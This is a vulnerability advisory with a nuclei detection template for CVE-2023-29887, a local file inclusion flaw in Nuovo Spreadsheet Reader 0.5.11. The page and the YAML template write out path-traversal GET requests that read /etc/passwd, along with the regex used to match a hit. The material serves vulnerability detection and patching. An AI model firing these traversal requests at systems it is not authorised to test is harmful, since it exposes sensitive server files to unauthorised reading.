Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion

highseverity

7.5CVSS score

4.7%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the server.

Fix

Upgrade to a patched version of Nuovo Spreadsheet Reader or apply the vendor-provided fix to mitigate the Local File Inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd ; GET {{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-29887 -u <target>

The full check

id: CVE-2023-29887

info:
  name: Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion
  author: ctflearner
  severity: high
  description: |
    A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the server.
  remediation: |
    Upgrade to a patched version of Nuovo Spreadsheet Reader or apply the vendor-provided fix to mitigate the Local File Inclusion vulnerability.
  reference:
    - https://research.hisolutions.com/2023/01/arbitrary-file-read-vulnerability-php-library-nuovo-spreadsheet-reader-0-5-11/
    - https://github.com/nuovo/spreadsheet-reader/issues/169
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29887
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-29887
    cwe-id: CWE-22
    epss-score: 0.04736
    epss-percentile: 0.91936
    cpe: cpe:2.3:a:nuovo:spreadsheet-reader:0.5.11:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nuovo
    product: spreadsheet-reader
  tags: cve2023,cve,nuovo,spreadsheet-reader,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from